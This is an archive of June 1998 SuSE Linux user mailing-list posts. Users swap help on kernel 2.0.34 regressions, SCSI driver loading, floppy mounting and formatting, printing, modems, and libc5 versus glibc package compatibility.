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On Thu 04 Jun at 15:55:04 -0500 satan(a)nfinity.com done said:
>=20
> I have compiled 2.0.34 with gcc 2.7.2.1 and with egcs 1.0.3a,  and both
> resulting kernels broke my ppp,  and recompiling pppd did not remedy this.
> I am back to using 2.0.33 with no irregularities.  Anyone else have
> trouble with ppp in 2.0.34?

I didn't have any probs w/ my ppp-2.2.0f version of ppp, but 2.0.34 did break
my NFS and apparently doesn't support the vfat fs.  Did anyone else experience
this?


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From cparman@cyberramp.net Sat Jun  6 08:33:45 1998
From: cparman@cyberramp.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Adaptec 2940 scsi controler
Date: Sat, 06 Jun 1998 03:33:45 -0500
Message-ID: <98060603474700.00220@TheWave>
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Hi All

        I'm tyring get my adaptec 2940 scsi controler to work in SuSE 5.1. I
recompiled the latest 2.0.33 kernel (actually downloaded it from the suse ftp
site, from the 5.2 version). I enabled the driver for the scsi controler modu=
lar
(aic7xxx driver) and I enabled the scsi cdrom device modular, as well. The
compiliation went well I re-booted my machine and no scsi controler was detec=
ted
(so I didn't worry too much). I then login in as root and preceeded to manual=
ly
install the scsi controler driver using this command 'insmod aic7xxx.o', then
the trouble begain. I couldn't get the prompt (I had to bring up another xter=
m)
I couldn't 'kill' the PID# pertaining to the command 'insmod aic7xxx.o' and t=
he
system load started to rise. Thus, I had to shut the system down and reboot. I
believe I did everything right as far as the compiliation of the kernel and
enabling the right drivers. I just don't know what could be causing this to
happen. If anyone has suggestion as to what might be causing this problem and=
 a
solution to go along with it, please feel free to respone. Thank you in advan=
ce
for your help.

Regards,

-Chris

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From brauki@cityweb.de Sat Jun  6 10:03:01 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Caching problem?
Date: Sat, 06 Jun 1998 12:03:01 +0200
Message-ID: <357913D5.F81B47A3@cityweb.de>
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The Gecko wrote:
>=20
> Here's an interesting one.  Since we unfortunatly have to ship products on
> Win31, still, I have a Win31 machine on my desk next to my Linux box.  I ed=
it
> in Linux and store all my source in a directory that's Samba shared.  My Wi=
n31
> machine mounts that directory and compiles as needed.
>=20
> Twice now, I've edited the file in my Linux box, gone to the dos machine and
> the changes are not there.  Don't see them.  If I close the DOS box in wind=
ows
> and open another one, the changes show... who's caching and where might I f=
ind
> the problem or info to lead me in that direction?

I have read about something like this in the samba list
(samba(a)samba.anu.edu.au) within the last two weeks, but do not remember
details.
They keep archives of the list on the same server. Could be the answer
is there.

J=C3=BCrgen


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From weissel@jupiter.ph-cip.uni-koeln.de Sat Jun  6 11:15:15 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] No package in  5.2 ?
Date: Sat, 06 Jun 1998 13:15:15 +0200
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Hi!

Trying to kill the keyboard, deem(a)wdm.com produced:
> As Jamie Zawinski has an excellent app named Xscreensaver, is it possible
> to get an official SuSE rpm of this ? I think it should seriously be looked

Maybe you are thinking of xlock?

-Wolfgang


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From stefan.egger@infrasys.ascom.ch Sat Jun  6 13:35:40 1998
From: stefan.egger@infrasys.ascom.ch
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Adaptec 2940 scsi controler
Date: Sat, 06 Jun 1998 13:35:40 +0000
Message-ID: <199806061335.PAA07569@ssus01.infrasys.ascom.ch>
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Hi,
You did more or less everything right, but :

If  you use this SCSI controller as a boot device the driver MUST be included
in the kernel and not compiled as module.=20
The cdrom will work as module fine.

Regards,
Stefan=20

>
>Hi All
>
>        I'm tyring get my adaptec 2940 scsi controler to work in SuSE 5.1. I
>recompiled the latest 2.0.33 kernel (actually downloaded it from the suse ftp
>site, from the 5.2 version). I enabled the driver for the scsi controler mod=
ular
>(aic7xxx driver) and I enabled the scsi cdrom device modular, as well. The
>compiliation went well I re-booted my machine and no scsi controler was dete=
cted
>(so I didn't worry too much). I then login in as root and preceeded to manua=
lly
>install the scsi controler driver using this command 'insmod aic7xxx.o', then
>the trouble begain. I couldn't get the prompt (I had to bring up another xte=
rm)
>I couldn't 'kill' the PID# pertaining to the command 'insmod aic7xxx.o' and =
the
>system load started to rise. Thus, I had to shut the system down and reboot.=
 I
>believe I did everything right as far as the compiliation of the kernel and
>enabling the right drivers. I just don't know what could be causing this to
>happen. If anyone has suggestion as to what might be causing this problem an=
d a
>solution to go along with it, please feel free to respone. Thank you in adva=
nce
>for your help.
>
>Regards,
>
>-Chris

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From lipo@telekabel.at Sat Jun  6 15:45:01 1998
From: lipo@telekabel.at
To: users@lists.opensuse.org
Subject: 2.0.34 and fs's (was: [S.u.S.E. Linux] 2.0.34 and ppp)
Date: Sat, 06 Jun 1998 17:45:01 +0200
Message-ID: <199806061544.RAA08100@intrasrv.lipo.ml.org>
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On 6 Jun 98, at 0:16, ccb(a)sunset.net wrote:
> I didn't have any probs w/ my ppp-2.2.0f version of ppp, but 2.0.34 did
> break my NFS and apparently doesn't support the vfat fs.  Did anyone else
> experience this?

Vfat fs is available after enabling NLS-Support. What are your problems with 
NFS?

Regards,
Lipo


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From ccb@sunset.net Sat Jun  6 16:02:46 1998
From: ccb@sunset.net
To: users@lists.opensuse.org
Subject: Re: 2.0.34 and fs's (was: [S.u.S.E. Linux] 2.0.34 and ppp)
Date: Sat, 06 Jun 1998 09:02:46 -0700
Message-ID: <19980606090246.A529@ecst.csuchico.edu>
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On Sat 06 Jun at 17:45:01 +0200 lipo(a)telekabel.at done said:
>=20
> Vfat fs is available after enabling NLS-Support. What are your problems wit=
h=20
> NFS?

All of the dos filesystem types were absent in the 'filesystem' category when
I recompiled.  I thought it odd too.  I can't remember exactly what the error
was from NFS, but I've returned to 2.0.33 and am running trouble free so I'm
happy.

Cheers,

-Charlie


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From mappleby@mwci.net Sat Jun  6 16:10:23 1998
From: mappleby@mwci.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux]Newbie  Laser Printing
Date: Sat, 06 Jun 1998 11:10:23 -0500
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How do I print non-landscape to my HPIIIp laser printer?

The laser is set to portrate.
I have looked through S.u.S.E.'s Linux manual and Sam's Unix System V Primer
and can't find a reference to print in portrate / landscape.  This seems
like it should be a basic function.  YaST does seem to give this option.

Mitch Appleby


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From mappleby@mwci.net Sat Jun  6 16:15:43 1998
From: mappleby@mwci.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux]Floppy copy
Date: Sat, 06 Jun 1998 11:15:43 -0500
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How to mount a floppy drive?
How  to format a floppy?
How to copy a file to a floppy?

I have looked through S.u.S.E.'s Linux manual and Sam's Unix System V Primer
and can't find answeres to the above.  Any clues as to doing these
functions?  Seems like basic basic stuff.  I need to transfer (sneeker
network) files from a Linux machine at work and another at home.

Mitch Appleby


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From deem@wdm.com Sat Jun  6 16:50:34 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] No package in  5.2 ?
Date: Sat, 06 Jun 1998 08:50:34 -0800
Message-ID: <199806061650.IAA24373@wdm.com>
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Wolfgang Weisselberg  wrote:
>=20
> Hi!
>=20
> Trying to kill the keyboard, deem(a)wdm.com produced:
> > As Jamie Zawinski has an excellent app named Xscreensaver, is it possible
> > to get an official SuSE rpm of this ? I think it should seriously be look=
ed
>=20
> Maybe you are thinking of xlock?

xlock doesn't do what xscreensaver does. Look at=20
http://people.net=
scape.com/jwz/xscreensaver/index.html>

I have motif and mesa on my system and really like pipes.

-Dee

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From mlhanna@arn.net Sat Jun  6 18:01:28 1998
From: mlhanna@arn.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Upgrade from 5.1 to 5.2
Date: Sat, 06 Jun 1998 13:01:28 -0500
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Hello All,


    How do I go about upgrading 
from version 5.1 to 5.2 without a complete reinstall?


 


        
Thanks


        
Mark


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From satan@nfinity.com Sat Jun  6 18:07:03 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] No package in  5.2 ?
Date: Sat, 06 Jun 1998 13:07:03 -0500
Message-ID: <35798547.E90C3808@nfinity.com>
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I looked at this website.  If this program was any more like xlock
someone would get sued for copyright infringement, or plagiarism.  Xlock
can be configured for what you are talking about (Mesa/GL).  man xlock

W.D.McKinney wrote:
>=20
> Wolfgang Weisselberg  wrote:
> >
> > Hi!
> >
> > Trying to kill the keyboard, deem(a)wdm.com produced:
> > > As Jamie Zawinski has an excellent app named Xscreensaver, is it possib=
le
> > > to get an official SuSE rpm of this ? I think it should seriously be lo=
oked
> >
> > Maybe you are thinking of xlock?
>=20
> xlock doesn't do what xscreensaver does. Look at
> http://people.=
netscape.com/jwz/xscreensaver/index.html>
>=20
> I have motif and mesa on my system and really like pipes.
>=20
> -Dee
>=20
> W.D.McKinney (Dee) -=3D- deem(a)wdm.com
> No claim to fame, just saved by Grace.
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From deem@wdm.com Sat Jun  6 18:49:56 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] No package in  5.2 ?
Date: Sat, 06 Jun 1998 10:49:56 -0800
Message-ID: <199806061849.KAA24572@wdm.com>
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Michael Lankton  wrote:
>=20
> I looked at this website.  If this program was any more like xlock
> someone would get sued for copyright infringement, or plagiarism.  Xlock
> can be configured for what you are talking about (Mesa/GL).  man xlock

See the January 1998 issue of LJ which has an article on it.
or =
=
http://people.netscape.com/jwz/xscreensaver/versus-xlock.html>

Many advatages over xlock. All this from the guy who is responsible
for mozilla.org and our unix versions of Netscape.

Best Regards

-Dee

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From roberto@cbvcp.com Sat Jun  6 19:26:58 1998
From: roberto@cbvcp.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Upgrade from 5.1 to 5.2
Date: Sat, 06 Jun 1998 12:26:58 -0700
Message-ID: <35799802.E6EB15FB@cbvcp.com>
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just take the 5.2 cd's, go to yast, and under install/remove packages in
the main menu, go to update (this may not be the exact naming, as this
is by memory).  it shoudl go pretty easily that way.

Mark Hanna wrote:

 Hello All,  =20
How do I go about upgrading from version 5.1 to 5.2 without a complete
reinstall?       =20
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From brauki@cityweb.de Sat Jun  6 19:29:14 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] famous last words
Date: Sat, 06 Jun 1998 21:29:14 +0200
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Hello,

today my linux system crashed and hung.
(2.0.33-suse, i486dx4, vlb, adaptec 2970scsi)

famous last words in messages:
... (scsi0:0:5:-1) Unexpected busfree, LASTPHASE = 0x80, SEQADDR = 0x14a

anything serious?
any ideas?

Jürgen


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From mwagnon@ixpres.com Sat Jun  6 19:48:52 1998
From: mwagnon@ixpres.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux]Floppy copy
Date: Sat, 06 Jun 1998 12:48:52 -0700
Message-ID: <35799D23.D5794F32@ixpres.com>
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You probably want to take a look at the *DOS to Linux HOWTO*  It has all
kinds of info for DOS converts.

>
> How to mount a floppy drive?
>

To mount a floppy you can type:

   mount -t ext2 /dev/fd0 /mnt

      mount:    the command to mount filesystems
      -t:       filesystem type, here it's ext2
      /dev/fd0: the device to mount, here the first floppy
      /mnt:     the mount point (directory where you can cd to)

You and put this info in your /etc/fstab file to make mounting easier.
For the above, it would look like this:

      /dev/fd0    /mnt    ext2     noauto,user   0   0

>
> How  to format a floppy?
>

To get a floppy ready to copy files take a bit more work on the part of
the user, type:

      fdformat /dev/fd0h1440

      mkfs -t ext2 -c /dev/fd0h1440

>
> How to copy a file to a floppy?
>

To copy a file to the floppy you must have write permission to the
floppy and it must be mounted, after that simple type

     cp filename /mnt

> 
> I have looked through S.u.S.E.'s Linux manual and Sam's Unix System V Primer
> and can't find answeres to the above.  Any clues as to doing these
> functions?  Seems like basic basic stuff.  I need to transfer (sneeker
> network) files from a Linux machine at work and another at home.
> 
> Mitch Appleby
> 

Luck,

Mark

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From mwagnon@ixpres.com Sat Jun  6 19:52:35 1998
From: mwagnon@ixpres.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux]Newbie  Laser Printing
Date: Sat, 06 Jun 1998 12:52:35 -0700
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If the text is small and prints two pages of text per sheet of paper,
you'll need to edit the /etc/apsfilterrc file. Look for the word
FEATURE=2n and change it to FEATURE=1n.

Mitch Appleby wrote:
> 
> How do I print non-landscape to my HPIIIp laser printer?
> 
> The laser is set to portrate.
> I have looked through S.u.S.E.'s Linux manual and Sam's Unix System V Primer
> and can't find a reference to print in portrate / landscape.  This seems
> like it should be a basic function.  YaST does seem to give this option.
> 
> Mitch Appleby
> 

Luck,

Mark

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From cparman@cyberramp.net Sat Jun  6 20:53:23 1998
From: cparman@cyberramp.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Mounting a Sun OS (Solaris 2.6) ufs file system
Date: Sat, 06 Jun 1998 15:53:23 -0500
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Hi All

       I have a HD with Solaris 2.6 installed and its running fine. I was
wondering why I can't seem to be able to 'mount' any of the Solaris partition=
s?
I have re-compiled the 2.0.33 kernel and enabled all file system drivers that
pertain to the Sun (Solaris) operating system (the file system drivers are
compiled as modules). If anyone has any suggestions to add or a possible
solution, please feel free to respone. Thank you for your help on the problem.

By the way, my Adaptec 2940UW problem is solved. I forgot to configure the
Adaptec BIOS setup :)

Regards,

-Chris

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From exdeath@mindspring.com Sat Jun  6 23:10:25 1998
From: exdeath@mindspring.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] New Modem
Date: Sat, 06 Jun 1998 19:10:25 -0400
Message-ID: <199806062306.TAA07314@camel8.mindspring.com>
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I am going to purchase a new modem in the near future and I need to know
whether I should get an internal one or an external one. Also which
companies are best for linux (or SUSE). 

Gene Flanagin
exdeath(a)mindspring.com

P.S. -
Has anybody gotten the ISP MindSpring to work with Linux?

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From jkrough@mindspring.com Sat Jun  6 23:20:34 1998
From: jkrough@mindspring.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] New Modem
Date: Sat, 06 Jun 1998 18:20:34 -0500
Message-ID: <3579CEC2.CE10F2F8@mindspring.com>
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Gene Flanagin wrote:

> I am going to purchase a new modem in the near future and I need to know
> whether I should get an internal one or an external one. Also which
> companies are best for linux (or SUSE).
>
> Gene Flanagin
> exdeath(a)mindspring.com
>
> P.S. -
> Has anybody gotten the ISP MindSpring to work with Linux?
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Yes I have gotten Mindspring working it is really pretty straight forward.
Mindspring has a page with instructions at
http://help.mindspring.co=
m/modules/00000/00006.htm>

Jerome K.


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From satan@nfinity.com Sun Jun  7 00:10:42 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] New Modem
Date: Sat, 06 Jun 1998 19:10:42 -0500
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save yourself some possible headache and get an external.  anything by
diamond or motorola is fine, provided it is NOT a 'winmodem'.  Any k56flex
modem should be upgradeable to the v.90 standard via a firmware update.
My motorola is, that way you can enjoy k56flex today (if your isp supports
it) and v.90 in the near future.  My experience with 56k modems leaves me
prefering 33.6, but maybe you have perfect phone lines where you live and
56k will work for you.  56k modems work perfectly as 33.6 modems in case
your phone lines don't give good performance with 56k.

=======================================================================
"I was playing poker the other night ... with Tarot cards. I got a full
house and four people died."                       -- Steven Wright
=======================================================================

On Sat, 6 Jun 1998, Gene Flanagin wrote:

> 
> I am going to purchase a new modem in the near future and I need to know
> whether I should get an internal one or an external one. Also which
> companies are best for linux (or SUSE). 
> 
> Gene Flanagin
> exdeath(a)mindspring.com
> 
> P.S. -
> Has anybody gotten the ISP MindSpring to work with Linux?
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From mwagnon@ixpres.com Sun Jun  7 04:11:07 1998
From: mwagnon@ixpres.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] New Modem
Date: Sat, 06 Jun 1998 21:11:07 -0700
Message-ID: <357A12DB.197F15D1@ixpres.com>
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I had USR Sportster, Motorola ModemSurfr, and a Zoom FaxModem. The
latter two were 56K the former a 33.6. No problems with the USR or Zoom.
My Motorola worked fine so long as it didn't drop carrier, which
happened a couple times a week (a major pain if your dling a large
file). I jsut picked up my Zoom and it seems to be just fine (no
interruptions as of yet). Make sure you get an external model whichever
manufacturer you go with, and make sure it isn't a winmodem. Als look
for v.90 ready or upgradable.

Luck,

Mark

Gene Flanagin wrote:
> 
> I am going to purchase a new modem in the near future and I need to know
> whether I should get an internal one or an external one. Also which
> companies are best for linux (or SUSE).
> 
> Gene Flanagin
> exdeath(a)mindspring.com
> 
>

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From kimon@wtco.net Sun Jun  7 04:35:27 1998
From: kimon@wtco.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Yast, ld.conf.so, and libraries?
Date: Sat, 06 Jun 1998 23:35:27 -0500
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Hello,

I am new to linux, and have found YAST very helpful in getting me
started. Now I went to install GIMP v1 and lesstif (I want to take a
look at Mozilla), along with some GNOME stuff to try out. Both GIMP and
GNOME need >= gtk1.01 so I installed the gtk1.0.4 rpm but nothing seems
to find it on my system. The install directions mention editing
/etc/ld.conf.so and running ldconfig. But yast warns not to edit
ld.conf.so and instead edit ld.conf.so.in. Do I then just run ldconfig
as I would otherwise?

I must say, I am a bit confused over glib and libc5... Does that mean
that rpm for redhat 5 or later will not work on SuSE? I installed the
GNOME rpms and their suport files because I wanted to take a look at it.
Now SuSE does not ship with (I don't think) mico and guile and all those
other libraries. Can I still install them, or are they incompatible with
my system. (BTW I am running SuSE 5.2) Now if I run ldconfig I get 
"warning: can't open /usr/lib/libImlib.so (No such file or directory),
skipping
warning: can't open /usr/lib/ligdk_imlib.so (No such file or directory)
skipping"
Yast gives similar messages (I suppose it is runing ldconfig in the
setup)

I know I've put out a lot of questions. Just to recap... Do rpms for
Redhat 5 not work with SuSE? Should I make a habit of downloading the
source code? Can SuSE users not use things like GNOME or GIMP v1 because
of the the libraries? Using SuSE do you still follow directions saying
to edit ld.conf.so files or not?

If anybody can start explaining all this new stuff to me, I'd be much
appreciated.

Thanks,
Kimon Tsinteris

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From satan@nfinity.com Sun Jun  7 07:32:25 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Yast, ld.conf.so, and libraries?
Date: Sun, 07 Jun 1998 02:32:25 -0500
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rpms for redhat 5.0 or greater are generally not compatible with SuSE as
SuSE is based on libc5 and redhat is glibc.  

Make additions to /etc/ld.so.conf.in and then run SuSEconfig.

Getting gnome to compile on a libc5 based system nearly takes an act of
god.  Either that or gnome is just a long ways off from being ready for
the end user.  I have it running on my box but I really had to hack to
get it compiled, and I used three different compilers (I recommend egcs
1.0.3a if you are masochist enough to try).  Hopefully SuSE will be
glibc soon ( ;) ) so that won't be an issue.  Until then, enjoy kde and
pretend it's gnome.  Not that there is anything wrong with kde,  I just
think having a desktop environment that is window manager dependent is a
move in the wrong direction.  Gnome will be present in the future of the
xdesktop whether you like it or not IMO,  so at least you are granted
the freedom to choose your own window manager with it.

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From deem@wdm.com Sun Jun  7 08:02:32 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Yast, ld.conf.so, and libraries?
Date: Sun, 07 Jun 1998 00:02:32 -0800
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Michael Lankton  wrote:
>  Hopefully SuSE will b glibc soon ( ;) ) so that won't be an issue.=20

Yes and I'll be glad to wait till all the problems that Red Hat has experienc=
ed=20
are overcome. SuSE 6.0 is purported to be glibc and out this year.
Like great wine, it worth waiting for.

-Dee

W.D.McKinney (Dee) -=3D- deem(a)wdm.com
No claim to fame, just saved by Grace.

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From hatridge@straubing.baynet.de Sun Jun  7 09:33:45 1998
From: hatridge@straubing.baynet.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] New Modem
Date: Sun, 07 Jun 1998 11:33:45 +0200
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On Sat, 6 Jun 1998, Gene Flanagin wrote:

> 
> I am going to purchase a new modem in the near future and I need to know
> whether I should get an internal one or an external one. Also which
> companies are best for linux (or SUSE). 
> 
> Gene Flanagin
> exdeath(a)mindspring.com

Hi Gene,

Just my thoughts on modems. I have an internal one, because I don't have a
lot of desk space to put boxs. But an external one is probalbly the best
for a linux system. In the event that you need to change it you don't have
to bring down the system or open the box. And whatever you do DON'T get a
winmodem. They are junk to start with and get worst as you go along. You
should get the best that you can afford. That's one thing you should not
save money on. 

Hope this helps!

JIM

-----------------------------------------
Jim Hatridge
Germany 
hatridge(a)straubing.baynet.de

M$ -- Ghostdriver* on the road to the future!
(*German Slang for the guy driving on the wrong side of the road!)

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From weissel@jupiter.ph-cip.uni-koeln.de Sun Jun  7 11:28:48 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 2.0.34-patch
Date: Sun, 07 Jun 1998 13:28:48 +0200
Message-ID: <19980607132848.A9960@Tiger.uni-koeln.de>
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Hi!

Trying to kill the keyboard, kar(a)webline.dk produced:
> If someone actually look in the changes file, can they post the
> S.u.S.E. relevant parts here? I'm thinking about the ISDN-specific
> patches against problems with dynamic IP addresses, others may have
> other interests.

You could just look at the diff file, it's human readable, or you could
go to=20
http://www.linuxhq.com/v20patch/pat=
ch-2.0.34/>
specifically to
http://www.linuxhq.com/v20patch/patch-2.0.34/lin=
ux_Documentation_Changes.html>

In your case, it seems no ISDN things are mentioned in the changes, and
only
linux/drivers/isdn/avmb1/capiutil.c (8 lines)
linux/drivers/isdn/isdn_net.c (45 lines)
linux/drivers/isdn/sc/includes.h (7 lines)
were patched a bit.

-Wolfgang


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From weissel@jupiter.ph-cip.uni-koeln.de Sun Jun  7 12:26:50 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] famous last words
Date: Sun, 07 Jun 1998 14:26:50 +0200
Message-ID: <19980607142650.B9960@Tiger.uni-koeln.de>
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Hi!

Trying to kill the keyboard, brauki(a)cityweb.de produced:
> today my linux system crashed and hung.
> (2.0.33-suse, i486dx4, vlb, adaptec 2970scsi)
> 
> famous last words in messages:
> .... (scsi0:0:5:-1) Unexpected busfree, LASTPHASE = 0x80, SEQADDR = 0x14a
> 
> anything serious?

When Linux crashes, that is very serious ... unlike some other
'operating' 'systems', Linux should never crash. Either you stumbled on
a bug in the kernel or your hardware is ... suboptimal.

> any ideas?

Yes, try to give us the complete error message. There should have been
some info on the console 1 ... and maybe there's a _bit_ more info in
/var/log/messages ... without that it's hard to mindread.

Anyway, your SCSI system got a SCSI interrupt, and something was a bit
strange, so it said: Hmmm ... let's wait for the commands to time out,
and tell (as an info) that that happened.
(see /usr/src/linux/drivers/scsi/aic7xxx.c)

So that in itself was not critical at all, it seems.

-Wolfgang


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From fmiller@lightlink.com Sun Jun  7 13:02:07 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Yast, ld.conf.so, and libraries?
Date: Sun, 07 Jun 1998 09:02:07 -0400
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W.D.McKinney wrote:
>=20
> Michael Lankton  wrote:
> >  Hopefully SuSE will b glibc soon ( ;) ) so that won't be an issue.
>=20
> Yes and I'll be glad to wait till all the problems that Red Hat has experie=
nced
> are overcome. SuSE 6.0 is purported to be glibc and out this year.
> Like great wine, it worth waiting for.

SuSE 6.0 will release next month.

Fred


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From rgotty@dialisdn.com Sun Jun  7 14:30:10 1998
From: rgotty@dialisdn.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Re: Shell Acount
Date: Sun, 07 Jun 1998 10:30:10 -0400
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Use minicom or some other terminal emulation program instead of pppd to
connect to your ISP.  Enter your username and password when prompted.
After entering your password, watch to see if what appears to be random
(garbage) is sent to your screen.  If so, your ISP is trying to negotiate
LCP and thus it would appear if they don't provide you with a shell.  But,
if you get some kind of prompt, try doing a few UNIX commands such as ls,
vi, etc.  If you have a shell, you should be able to do them.

-Rod

On Thu, 4 Jun 1998, Jim Hatridge wrote:

> 
> Hi All!
> 
> This may sound like a dumb question, but how can I tell if I have a shell
> account with my ISP?
> 
> Right now I'm using baynet for email and  surfing. That's all.
> 
> 
> Thanks 
> 
> 
> 
> JIM
> 
> 
> -----------------------------------------
> Jim Hatridge
> Germany 
> hatridge(a)straubing.baynet.de
> 
> M$ -- Ghostdriver* on the road to the future!
> (*German Slang for the guy driving on the wrong side of the road!)
> 
> ___________ News Flash! -------------- News Flash! ___________________
> 
> Yesterday, a ferry boat leaving Haiti sunk and 300 people died, drowned,
> as the boat capsized. But a tragedy was avoided when they discovered that
> none of them on board was a Princess. 
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> 


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From hekate@intergate.bc.ca Sun Jun  7 17:34:18 1998
From: hekate@intergate.bc.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Yast, ld.conf.so, and libraries?
Date: Sun, 07 Jun 1998 10:34:18 -0700
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Next month?? I heard glibc wouldn't neccesarily even be in SuSE in the
FALL....what can you tell me about 6.0 as far as features? Seems a bit
surprising you saying it's coming out so fast after 5.2 was just released.
-----Original Message-----
From: Fred A. Miller 
To: suse-linux-e(a)suse.com 
Date: Sunday, June 07, 1998 6:57 AM
Subject: Re: [S.u.S.E. Linux] Yast, ld.conf.so, and libraries?

>
>W.D.McKinney wrote:
>>
>> Michael Lankton  wrote:
>> >  Hopefully SuSE will b glibc soon ( ;) ) so that won't be an issue.
>>
>> Yes and I'll be glad to wait till all the problems that Red Hat has
experienced
>> are overcome. SuSE 6.0 is purported to be glibc and out this year.
>> Like great wine, it worth waiting for.
>
>SuSE 6.0 will release next month.
>
>Fred
>
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>rights of ordinary Americans ..."
>
>Bill Clinton  (USA TODAY, 11 March 1993, page 2A)
>
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From roberto@cbvcp.com Sun Jun  7 17:59:53 1998
From: roberto@cbvcp.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] New Modem
Date: Sun, 07 Jun 1998 10:59:53 -0700
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Mark Wagnon wrote:

> Als look
> for v.90 ready or upgradable.

With the file you either dl or are sent, do you have to go into windows to
upgrade?  i've never done one of those before, and i was wondering how the
upgrades work.


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From satan@nfinity.com Sun Jun  7 18:43:04 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Yast, ld.conf.so, and libraries?
Date: Sun, 07 Jun 1998 13:43:04 -0500
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Bodo and Hubert have been saying late summer/early fall all along on SuSE
6.0, if indeed 6.0 is released instead of a libc5 based 5.3.  How do you
come across your information Fred?  It's irresponsible to say 6.0 will be
out next month unless you know with certainty that that is the case. =20
I wish SuSE would open 6.0 up for beta testing.  SuSE would benefit from
the bug reports and those of us itching for a development version of 6.0
would get our wish.  A win-win situation.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
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"I was playing poker the other night ... with Tarot cards. I got a full
house and four people died."                       -- Steven Wright
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
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On Sun, 7 Jun 1998, Fred A. Miller wrote:

>=20
> W.D.McKinney wrote:
> >=20
> > Michael Lankton  wrote:
> > >  Hopefully SuSE will b glibc soon ( ;) ) so that won't be an issue.
> >=20
> > Yes and I'll be glad to wait till all the problems that Red Hat has exper=
ienced
> > are overcome. SuSE 6.0 is purported to be glibc and out this year.
> > Like great wine, it worth waiting for.
>=20
> SuSE 6.0 will release next month.
>=20
> Fred
>=20
> --=20
> "We can't be so fixated on our desire to preserve the
> rights of ordinary Americans ..."
>=20
> Bill Clinton  (USA TODAY, 11 March 1993, page 2A)
>=20
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From fmiller@lightlink.com Sun Jun  7 19:41:36 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Yast, ld.conf.so, and libraries?
Date: Sun, 07 Jun 1998 15:41:36 -0400
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Michael Lankton wrote:
> 
> Bodo and Hubert have been saying late summer/early fall all along on SuSE
> 6.0, if indeed 6.0 is released instead of a libc5 based 5.3.  How do you
> come across your information Fred?  It's irresponsible to say 6.0 will be
> out next month unless you know with certainty that that is the case.
> I wish SuSE would open 6.0 up for beta testing.  SuSE would benefit from
> the bug reports and those of us itching for a development version of 6.0
> would get our wish.  A win-win situation.

I talked with them Friday, and was told that it was going to ship in
July.  I ordered 5.2 anyway.
'Careful about the use of the term "irresponsible" when you don't know
the situation.

Fred


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From scurran@aracnet.net Sun Jun  7 19:49:21 1998
From: scurran@aracnet.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] X Setup
Date: Sun, 07 Jun 1998 15:49:21 -0400
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I cannot get X windows setup.  Can anyone tell me the meaning of "errno
= 111".
I have a Cirrus 5446 card and a Tystar 14" monitor and have tried both
XFsetup and config versions to try to get it working but no luck.
Any suggestions would be appreciated.
I want to get it going so I can run StarOffice and replace all my M$
stuff.

Thanks
Denis


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From mwagnon@ixpres.com Sun Jun  7 20:01:06 1998
From: mwagnon@ixpres.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] New Modem
Date: Sun, 07 Jun 1998 13:01:06 -0700
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I'm not really sure, as I haven't uprgraded a modem in Linux, but I have
had to update my CD-RW and my SCSI card, both from DOS, so I would think
that it would be the same for upgrading a modem. I guess that's one more
reason to keep DOS/Windows around (the other reason for me is games).

Luck,

Mark

Aaron Seelye wrote:
> 
> Mark Wagnon wrote:
> 
> > Als look
> > for v.90 ready or upgradable.
> 
> With the file you either dl or are sent, do you have to go into windows to
> upgrade?  i've never done one of those before, and i was wondering how the
> upgrades work.
>

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From fmiller@lightlink.com Sun Jun  7 20:02:10 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Yast, ld.conf.so, and libraries?
Date: Sun, 07 Jun 1998 16:02:10 -0400
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MJohnson wrote:
> 
> Next month?? I heard glibc wouldn't neccesarily even be in SuSE in the
> FALL....what can you tell me about 6.0 as far as features? Seems a bit
> surprising you saying it's coming out so fast after 5.2 was just released.

[snip]

